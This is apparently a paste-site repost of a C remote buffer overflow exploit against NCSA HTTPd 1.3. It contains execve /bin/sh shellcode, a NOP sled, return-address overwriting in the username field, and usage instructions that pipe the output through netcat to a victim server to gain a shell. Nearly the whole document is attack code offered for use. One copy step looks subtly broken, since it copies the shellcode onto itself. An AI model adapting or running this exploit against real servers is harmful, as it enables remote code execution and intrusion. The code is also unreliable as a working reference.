NCSA HTTPd 1.x - Remote Buffer Overflow (2) - CVE-1999-0267 + CVE-1999-0235


SUBMITTED BY: FlyFar

DATE: May 16, 2024, 3:45 a.m.

FORMAT: C

SIZE: 1.4 kB

HITS: 434

  1. // source: https://www.securityfocus.com/bid/3158/info
  2. NCSA HTTPd is a free, open-source web server for *nix systems.
  3. NCSA HTTPd versions 1.3 and earlier are prone to an exploitable buffer overflow(in the username field) which will allow malicious remote users to execute arbitrary code with the privileges of the webserver process. Successful exploitation of this vulnerability will allow a remote attacker to gain local access to the host.
  4. /*
  5. ; NCSA Webserver Buffer Overflow in 1.3
  6. ; By Xtremist (xtremist@2xs.co.il) for [r00tabega.security.labs]
  7. ; Tested on Slackware 4.0 with NCSA 1.3
  8. ; usage:
  9. ; $ (ncsaexpl 0; cat) | nc victim 80
  10. ;
  11. ; OFFSET usually from -1000 to 1000
  12. ; greets all people i know :)
  13. ;*/
  14. #include <stdio.h>
  15. unsigned char shell[] = /* alphae1's shellcode for execve */
  16. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  17. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  18. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  19. char user[264];
  20. long get_esp(void) {
  21. __asm__("movl %esp,%eax");
  22. }
  23. int main(int argc,char **argv){
  24. int i; int offset=160;
  25. long ret;
  26. if(argc>1) {
  27. offset=atoi(argv[1]);
  28. }
  29. ret=(get_esp()-offset);
  30. for(i=1;i<264;i+=4){
  31. *(long *)&user[i]=ret;
  32. }
  33. for(i=0;i<(260-strlen(shell));i++) {
  34. *(user+i)=0x90; /*NOP*/
  35. }
  36. memcpy(shell+i,shell,strlen(shell));
  37. printf("GET %s\n", user);
  38. }

comments powered by Disqus